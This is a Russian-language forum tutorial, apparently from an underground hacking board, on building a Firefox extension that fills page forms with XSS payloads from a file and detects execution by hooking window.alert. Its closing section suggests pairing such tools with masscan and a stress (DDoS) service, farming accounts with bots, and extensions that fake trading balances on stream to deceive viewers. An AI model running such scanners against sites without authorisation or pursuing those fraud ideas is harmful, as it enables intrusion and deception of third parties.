Тут все просто, на странице есть одна форма, одно поле ввода и одна кнопка. В реальной жизни, чтобы полноценно просканировать страничку на наличие XSS, придется написать несколько сканеров. Самый простой вариант, как в нашем случае — перебрать формы, по очереди в каждый инпут запихать полезную нагрузку и отправить. Хуже, когда поля ввода не input, или input но не в форме или это JS-приложение, которое занимается отправкой и получением данных. Сами понимаете, голь на выдумки хитра, каждый лепит как ему вздумается. Поэтому и потребуется куча сканеров, которые будут выискивать всевозможные варианты отправки данных, перехватывать и анализировать запросы и т.д. Сконцентрируемся на определении уязвимости, а не вариациях как отправить полезную нагрузку.

Чтобы взаимодействовать с формой, потребуются контентные скрипты. В этот раз мы будем инициировать инъекцию, используя функцию executeScript() свойства “scripting”.

Сначала в разрешения добавляем эти три объекта, без них магии не случится:

JSON:
{
    ...
    "permissions": [
        ...,
        "tabs",
        "activeTab",
        "scripting"
    ]
    ...
}

В фоновом скрипте добавлю обработчик нового пункта меню, а также импортирую функцию, которая будет запускать проверку на XSS:

JavaScript:
...
import { startXSSCheck } from './scanners/XSS/simple-check'

...

function onClickMenuHandler(info, tab) {
  switch(info.menuItemId) {
      case "ssti-get-params-detect":
          return checkParamsSSTI(info.pageUrl)
      case "xss-inputs-detect":
          return startXSSCheck(info, tab)
  }
}

Создам соответствующий файл и функцию. Пока, она будет достаточно простой, чтобы убедиться, что инъекция фонового скрипта происходит и все работает как надо:

JavaScript:
async function startXSSCheck(info, tab, startedCheck) {
    let result = await browser.scripting.executeScript({
        target: {tabId: tab.id},
            func: () => {
                console.log('location:', window.location.href);
                return {title: 'Result', value: window.location.href}
            },
    });   
    console.log('Result', result)
}

export {
    startXSSCheck
}

Пересоздам расширение командой “build” и заново загружаю расширение в браузер и кликаю по меню на рандомной странице:

1733050566004.png


Супер! Скрипт отрабатывает на странице и возвращает значение обратно. Возвращение значения нам потребуется. Если жестко прописать нужный инпут и форму, это будет слишком не интересно. Все же цель научиться писать чекер, а не просто решить самую простейшую лабу. Поэтому, мы будем подгружать несколько контентных скриптов. Первый получает данные инпутов и форм, второй заполняет инпуты полезной нагрузкой и отправляет форму.

В лабе есть сюрприз: у формы, инпута и кнопки нет каких-то опознавательных знаков. Подобное часто встречается в практике. Например, кто занимался парсингом того же Google, часто сталкиваются с ситуацией, когда нужно работать с рандомной генерацией структуры выдачи. Нам чуть легче, можно просто обходить все элементы используя номер совпадения.

JavaScript:
async function startXSSCheck(info, tab, startedCheck) {
    let result = await browser.scripting.executeScript({
        target: {tabId: tab.id},
            func: () => {
                let forms = document.querySelectorAll('form')
                let result = Array.from(forms).map(form => {
                    let inputs = Array.from(form.querySelectorAll('input')).map(item => ({
                        id: item.id,
                        class: item.class
                    }))


                    let button = Array.from(form.querySelectorAll('button')).map(item => ({
                        id: item.id,
                        class: item.class
                    }))[0]


                    return {
                        id: form.id,
                        inputs, button
                    }
                })
                return result
            },
    });   


    console.log('Result', result)
    await checkForms(result, tab.id, info.pageUrl)
}


export {
    startXSSCheck
}

Процесс фильтрации кнопки привел просто для примера. По хорошему, он конечно сильно замороченнее.

1733050527277.png


Теперь, когда у нас есть формы, мы можем спокойно запустить цикл, который будет по очереди подставлять полезную нагрузку и жать кнопку. Открытым остается вопрос, как теперь нам выполнить следующую часть скрипта, передав аргументы. Для этого достаточно добавить свойство “args” при инъекции скрипта. Глянем, как это выглядит на практике:

JavaScript:
async function checkForms(forms, tabId, pageUrl) {
    for (const [index, form] of forms.entries()) {
        console.log(form, index)
        for (const [indexInput, input] of form.inputs.entries()) {
            await browser.scripting.executeScript({
                target: {tabId},
                args: [{form, input, formIndex: index, indexInput}],
                func: (formData) => {
                    console.log(formData)
                },
            });   
        }


    }
}

1733050500905.png


Теперь есть все компоненты, чтобы заставить код работать. Я сделаю простую реализацию, при которой элементы будут искаться по индексу:
JavaScript:
async function checkForms(forms, tabId, pageUrl) {
    let payload = '<script>alert(1)</script>'


    for (const [index, form] of forms.entries()) {
        console.log(form, index)
      
        await browser.tabs.update(tabId, {
            url: pageUrl
        })


        for (const [inputIndex, input] of form.inputs.entries()) {
            await browser.scripting.executeScript({
                target: {tabId},
                args: [{form, input, formIndex: index, inputIndex, payload}],
                func: (formData) => {
                    let form = document.querySelectorAll('form')[formData.formIndex]
                    let input = form.querySelectorAll('input')[formData.inputIndex]
                    let button = form.querySelectorAll('button')[0]


                    input.value = formData.payload


                    button.click()
                },
            });   
        }


    }
}

1733050432585.png


Все выглядит рабочим, осталось только как-то определить выполнение кода. Можно, конечно, не париться и использовать innerHTML. Это неплохой способ, когда на выходе нагрузка не должна измениться и в этой лабе прокатит. Все полетит в тар-тарары, если будет использоваться обход замены типа такого <scscriptript>...

JavaScript:
const alertFunc = window.alert

window.alert = function() {
    console.log('Alert detection')
    alertFunc.apply(window.arguments)
}

Точно так же можно переопределить confirm, print, etc. Но как подгрузить скрипт? Скрипт должен срабатывать сразу, как только происходит загрузка страницы. При этом, цеплять контентный скрипт к каждой открываемой странице, крайне безумное решение. Но на этот случай у нас есть функция registerContentScripts() объекта scripting. Как вы понимаете, она регистрирует контентный скрипт. Делает тоже самое, что и указание скрипта в манифесте, но в нужной части кода. Вставим в функцию checkForms():

JavaScript:
await browser.scripting.registerContentScripts({
        id: 'script-simple-check-xss',
        js: ["content.js"],
        allFrames: true,
        runAt: "document_start",
        matches: [pageUrl]
})

И все было бы прекрасно. Уязвимость отрабатывает, скрипт срабатывает. Но….

1733050380621.png


А причина в том, как добавляется наш скрипт. Если мы переключимся на вкладку Debug, то увидим следующую картинку:

1733050369037.png


Наш скрипт добавляется изолированно. Не особо понятно, почему при инъекции скрипта из расширения ему недоступен основной объект API расширения… В любом случае, красивое и правильное решение найти не удалось. Firefox не дает каких-то особых возможностей. Поэтому был решено костылить. Может выбрал не лучшее решение, но вполне рабочее. Суть в том, что отправку данных в фоновый скрипт вынес в отдельный контентный скрипт. Наш, как оказалось, “анонимный скрипт”, фиксирует уязвимость и отправляет данные в контентный скрипт через window.postMessage(). Контентный скрипт получает данные и отправляет в фоновый. Надеюсь не запутал.

Решение, наверное, не самое оптимальное, но работает. На все посещаемые страницы будет подгружаться код с слушателем. С другой стороны, ну будет лишний прослушиватель и чего? Мы же не чекаем на всех подряд страницах уязвимость. Чек уязвимости происходит исключительно по клику в меню.

1733050352903.png


Что нужно сделать, чтобы все заработало? Для начала создаем файл, который будет отслеживать сообщение от postMessage и перекидывать в фон. Назвал скрипт content-notifier.js. Вот его код:

JavaScript:
window.addEventListener("message", (event) => {
    if (event.source === window &&
        event.data &&
        event.data.direction === "found-xss"
      ) {
        console.log('XSS vulnerability found')
        browser.runtime.sendMessage({
            action: 'notify',
            msg: 'XSS vulnerability found'
        })
      }
    return true
})

content.js переименовал в anonymouse.js.

JavaScript:
import { checkMessageWindows } from './XSS/simple-check'

checkMessageWindows()

Simple-check:

function checkMessageWindows() {
    const alertFunc = window.alert


    window.alert = function() {


        console.log('Alert detection')
        document.addEventListener('DOMContentLoaded', event => {
            window.postMessage(
                {
                    direction: "found-xss",
                    message: "XSS vulnerability found",
                },
                "*",
            );
        })

        return alertFunc.apply(window.arguments)
    }
}

export {
    checkMessageWindows
}

Отправка сообщения происходит когда страница полностью загружена, чтобы быть уверенным, что контентный скрипт прогрузился и готов принять сообщение.

Не забываем в фоновый скрипт добавить слушатель сообщений расширения:

JavaScript:
browser.runtime.onMessage.addListener(msg => console.log('Message', msg))

Заключительный этап, это правка конфига вебпака. Вместо обработки файла content.js, мы должны обработать два новых файла:

JavaScript:
const path = require('path')
const CopyWebpackPlugin = require('copy-webpack-plugin')
const TransformJson = require('transform-json-webpack-plugin')
const package = require('./package.json')

const _resolve = {
  extensions: ['.jsx', '.js'],
  modules: [
    path.resolve(__dirname, 'node_modules'),
    'node_modules'
  ],
}

const _module = {
    rules: [
      {
        test: /\.jsx?$/,
        exclude: path.resolve(__dirname, 'src'),
        enforce: 'pre',
        use: 'source-map-loader'
      },
      {
        test: /\.jsx?$/,
        exclude: /node_modules/,
        use: 'babel-loader'
      },
    //   {
    //     test: /\.css$/,
    //     use: [{
    //       loader: 'style-loader'
    //     }, {
    //       loader: 'css-loader'
    //     }],
    //   }
    ]
  }

  module.exports = [
    {
      devtool: 'source-map',
      entry: [
        path.resolve(__dirname, 'src', 'background', 'background.js')
      ],
      plugins: [
        new CopyWebpackPlugin({
            patterns: [{
                from: "static/images", to: 'images'
            }]
        }),
        new TransformJson({
          source: path.resolve(__dirname, 'src', 'manifest.json'),
          filename: 'manifest.json',
          object: {
            description: package.description,
            version: package.version
          }
        })
      ],
      output: {
          path: path.resolve(__dirname, 'build'),
          filename: 'background.js'
      },
      resolve: _resolve,
      module: _module
    },
    {
        devtool: 'source-map',
        entry: [
          path.resolve(__dirname, 'src', 'content', 'anonymouse.js')
        ],
        output: {
          path: path.resolve(__dirname, 'build'),
          filename: 'anonymouse.js'
        },
        resolve: _resolve,
        module: _module
      },
      {
          devtool: 'source-map',
          entry: [
            path.resolve(__dirname, 'src', 'content', 'content-notifier.js')
          ],
          output: {
            path: path.resolve(__dirname, 'build'),
            filename: notifier.js'
          },
          resolve: _resolve,
          module: _module
      }
  ]


Проверьте чтобы в манифесте был прописан правильный контентный скрипт. В данном случае, это notifier.js
JSON:
{
    "manifest_version": 3,
    "name": "SSTI Detect",
    "description": "Designed for xss.pro",
    "version": "1.0.0",
    "icons": {
        "48": "images/logo_48.png",
        "96": "images/logo_96.png"
    },
    "content_scripts":[
        {
            "js": ["notifier.js"],
            "matches": ["<all_urls>"]
        }
    ],
    "background": {
        "scripts": ["background.js"]
    },
    "host_permissions": [
        "<all_urls>"
    ],
    "permissions": [
        "tabs",
        "activeTab",
        "scripting",
        "contextMenus",
        "notifications"
    ]
}

Заморачиваться с выводом оповещения пользователю в этот раз не стану. Мы это уже делали разными способами… В бэкграунд прилетает сообщение, а как дальше с ним поступить вы уже можете сами выбрать. Перейдем к финальным правкам, финальному рывку.

Получение данных из файла​

Будем получать список полезных нагрузок для нашего расширения из файла. Есть несколько подходов. Первый вариант, это жестко привязать файл к расширению, предоставив доступ через web_accessible_resources c дальнейшим получением ссылки на файл через getURL объекта runtime. Второй вариант, это дать пользователю возможность выбрать файл самому. Для этого, создать input и “кликнуть” по нему. Без лишних слов, пишем код. Сначала в манифес добавим:
JavaScript:
"web_accessible_resources": [
        {
          "resources": [ "files/*.txt" ],
          "matches": [ "<all_urls>" ]
        }   
      ]

Так как в проекте используется webpack, сами текстовые файлы кладем в static/files, а в конфиге добавляем секцию в копировании файлов:
JavaScript:
new CopyWebpackPlugin({
            patterns: [{
                from: "static/images", to: 'images'
            }, {
                from: "static/files", to: 'files'
            }]
        }),

Создадим функцию чтения:

JavaScript:
async function readSimpleXSSPayloads() {

    let fileName = await browser.runtime.getURL("files/simple-xss.txt")
    let fileData = await fetch(fileName)
    let fileText = await fileData.text()
    let payloadList = fileText.split('\r\n')
    return payloadList
  
}


Осталось в checkForms() удалить константу с полезной нагрузкой и добавить цикл для прохода по значениям нагрузок:

JavaScript:
async function checkForms(forms, tabId, pageUrl) {
    // let payload = '<script>alert(1)</script>'   
    let payloads = await readSimpleXSSPayloads()
    
   await browser.scripting.registerContentScripts([{
            id: 'script-simple-check-xss',
            js: ["anonymouse.js"],
            allFrames: true,
            runAt: "document_start",
            matches: [`${pageUrl}*`],
            world: 'MAIN',
            matchOriginAsFallback: true
        }])     

    for (const payload of payloads) {
        ...

Но напомню, что не стоит переусердствовать. Слишком большие словари поставят раком ваш браузер или, как минимум, превратят процесс чека в невероятно длинный.

Второй вариант выглядит так:

JavaScript:
async function readFile() {
  const input = document.createElement("input")
  input.type = 'file'
  input.addEventListener('change', chooseFileHandler)
  input.click()
}


async function chooseFileHandler(event) {
  let fileName = event.target.files[0];


  if(fileName) {
    let reader = new FileReader();
    reader.onload = function(e) {
      let contents = e.target.result;
      let list = contents.split('\r\n')
      console.log(list)
    }
    reader.readAsText(fileName);
  }
}

Соответственно, чтобы все заработало, вместо “console.log(list)“ нужно вызывать функцию чека, передавая ей полученные значения. Т.е. процесс запуска меняет свою очередность. Из плюсов, не надо ничего прописывать в манифесте. Пользователь просто выбирает файл с нагрузками и получает удовольствие.

Заключение​

Что же, на мой взгляд получилась достаточно информативная статья. Мы написали серьезное и полезное расширение, которое помогает быстро получить реальный IP-адрес. Ну или убедиться, что без усилий этого сделать невозможно. При необходимости, у вас есть пример подключение к расширению сторонних приложений, того же masscan. Так же можете и подрубить стресс-сервис, чтобы полностью реализовать описанную c0d3x методику. Хотя повторюсь, что это будет лишним в рамках расширения.

Кроме того, мы неплохо закрепили навыки сканирования сайта на предмет реальных уязвимостей. Если вы из тех, кто привык искать точку входа через конкретные уязвимости, например misconfig, вы можете доработать расширение и получить достаточно приятный инструмент. Нужно лишь формализовать ваш опыт, переписав его в полноценный пэйлоады и правила проверок. Главное не забывать про безопасность, чтобы не получилось неприятных казусов и случайных засветов.

Если вы осилили обе статьи, вы можете написать 99,99% расширений. Вы умеете использовать большую часть из доступного API Firefox. К слову, адаптировать под тот же Chrome нет никаких сложностей. Да, между апи этих движков есть разница, но она не радикальная.

Но даже с учетом того, что мы рассмотрели уже многие интересности, двигаться есть куда. Есть задумка по статье о написании ботов “нагуливающих” профили пользователей. На большинстве интересных для работы ресурсов, требуется наработка “рейтинга доверия”, фарминга акков. Все в ваших руках, если тема зайдет, то будет и следующая часть с реализацией подобного бота.

Еще одна, на мой взгляд, классная идея “как обмануть всех при помощи расширения”. Многие видели казиношные стримы, когда автору казино дает “правильный” личный кабинет, в котором тот обязательно выиграет. Но даже без подобного личного кабинета, в некоторых темах можно кое-то сделать при помощи расширений. Просто подменяя информацию “на лету”. Хочешь стримить про трейдинг, но нет денег? Без проблем. Главное написать расширение, которое будет правильно запоминать информацию и на лету перехватывать изменения на сайте, подменяя на нужные. В общем, вариантов по использованию расширений вагон и маленькая тележка. Если развитие этого направления интересно, дайте знать.

P.S.
Чисто ради интереса, поделитесь сколько времени ушло на изучение этой темы)))
 

Вложения

  • ssti-detect.zip
    30.1 КБ · Просмотры: 17
  • ssti-webpack.zip
    128.3 КБ · Просмотры: 14
  • xss-ssti-detect.zip
    131.4 КБ · Просмотры: 16
  • last-real-ip.zip
    164.2 КБ · Просмотры: 21


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх